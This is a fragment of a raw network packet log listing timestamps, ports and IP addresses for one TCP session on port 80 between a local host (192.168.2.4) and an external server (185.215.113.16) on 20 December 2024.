Dec 20, 2024 17:10:56.195400000 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.195452929 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:56.197000027 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.197086096 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.197135925 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:56.198936939 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.198972940 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.199022055 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:56.200475931 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.200545073 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.200597048 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:56.202256918 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.202397108 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.202451944 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:56.203933954 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.204091072 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.204142094 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:56.205801964 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.205902100 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.205955982 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:56.207408905 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.207537889 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.207587957 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:56.209119081 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.209247112 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.209295034 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:56.210840940 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.210963964 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.211011887 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:56.212713003 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.212779999 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.212835073 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:56.214468956 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.214529991 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.214581013 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:56.216130018 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.216454983 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.216506004 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:56.217926025 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.218029022 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.218079090 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:56.219557047 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.219628096 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.219680071 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:56.221251011 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.221441031 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.221493959 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:56.223000050 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.223089933 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.223141909 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:56.224703074 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.224911928 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.224967003 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:56.226485014 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.226743937 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.226800919 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:56.228172064 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.228310108 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.228367090 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:56.229916096 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.230040073 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.230211973 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:56.231652021 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.231808901 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.231863976 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:56.233390093 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.233475924 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.233525038 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:56.235117912 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.235335112 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.235385895 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:56.236888885 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.236983061 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.237031937 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:56.238678932 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.238878965 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.238936901 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:56.240443945 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.240545034 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.240602016 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:56.242070913 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.242144108 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.242198944 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:56.243868113 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.244016886 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.244069099 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:56.245521069 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.245660067 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.245707989 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:56.247237921 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.247335911 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.247380018 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:56.248979092 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.249031067 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.249075890 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:56.250721931 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.250865936 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.250910044 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:56.252451897 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.252607107 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.252655029 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:56.254179001 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.254312038 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.254362106 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:56.255928040 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.256046057 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.256092072 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:56.257674932 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.257762909 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.257807970 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:56.259371042 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.259444952 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.259488106 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:56.261118889 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.261223078 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.261260033 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:56.262845039 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.262959957 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.263010979 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:56.264548063 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.264657021 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.264712095 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:56.266319990 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.266469002 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.266522884 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:56.268040895 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.268107891 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.268157959 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:56.269783020 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.269892931 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.269943953 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:56.362701893 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.362792015 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.362873077 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:56.363012075 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.363095999 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.363265991 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:56.364623070 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.364676952 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.364738941 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:56.366241932 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.366430998 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.366492033 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:56.367937088 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.368434906 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.368495941 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:56.369434118 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.369601011 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.369658947 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:56.371062040 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.371171951 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.371232986 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:56.372535944 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.384316921 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.384381056 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.384404898 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:56.384877920 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.384924889 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:56.384989023 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.386250973 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.386316061 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:56.386373043 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.387613058 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.387676001 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:56.387712955 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.389010906 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.389060020 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:56.389111996 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.391174078 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.391222954 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:56.391295910 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.391659975 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.391709089 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:56.391772032 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.393050909 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.393099070 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:56.393163919 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.394263029 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.394320965 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:56.394412041 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.395622969 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.395658970 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.395678043 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:56.396888971 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.396944046 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:56.397022963 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.398251057 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.398297071 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:56.398338079 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.399580002 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.399625063 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:56.399689913 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.400815010 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.400866985 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:56.400964022 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.402172089 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.402219057 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:56.402266026 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.403465033 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.403516054 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:56.403769016 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.404839039 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.404882908 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:56.405035973 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.406219006 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.406254053 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.406263113 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:56.407426119 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.407476902 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:56.407533884 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.408639908 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.408699036 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:56.408746004 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.412962914 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.412985086 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.413002014 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.413017988 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.413022995 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:56.413053036 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:56.413413048 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.413450956 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:56.413692951 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.414869070 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.414915085 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:56.415008068 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.416249990 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.416312933 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:56.416415930 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.417460918 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.417476892 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.417504072 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:56.418776989 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.418793917 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.418811083 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:56.419930935 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.419975996 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:56.420087099 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.421374083 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.421420097 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:56.421540022 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.422764063 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.422816992 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:56.422930956 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.424038887 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.424098015 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:56.424175024 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.425328970 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.425384045 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:56.425486088 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.426711082 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.426726103 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.426748991 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:56.427975893 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.427994013 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.428019047 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:56.429260015 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.429320097 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:56.429414034 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.430583000 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.430597067 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.430627108 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:56.431907892 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.431924105 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.431945086 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:56.433249950 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.433265924 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.433295965 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:56.434438944 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.434480906 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:56.434617043 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.435811043 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.435859919 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:56.435965061 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.437135935 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.437153101 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.437186956 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:56.438570023 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.438621998 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:56.438730955 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.439858913 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.439874887 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.439893007 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:56.441178083 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.441204071 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.441225052 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:56.442310095 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.442357063 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:56.442461967 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.443702936 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.443720102 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.443763971 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:56.444994926 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.445066929 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:56.557933092 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.558052063 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.558135033 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:56.558497906 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.558671951 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.558726072 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:56.559880972 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.560039043 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.560091019 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:56.560208082 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.560224056 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.560266018 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:56.562431097 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.562611103 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.562657118 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:56.563744068 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.563760042 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.563808918 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:56.564841986 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.564857960 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.564909935 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:56.579678059 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.579704046 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.579773903 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:56.580140114 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.580337048 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.580352068 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.580379963 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:56.581444979 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.581500053 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:56.581607103 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.582684040 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.582742929 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:56.582849979 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.583688021 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.583731890 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:56.583820105 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.584997892 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.585047007 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:56.585144043 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.586015940 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.586071968 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:56.586188078 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.587222099 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.587275028 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:56.587379932 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:56.588462114 CET	80	49744	185.215.113.16	192.168.2.4
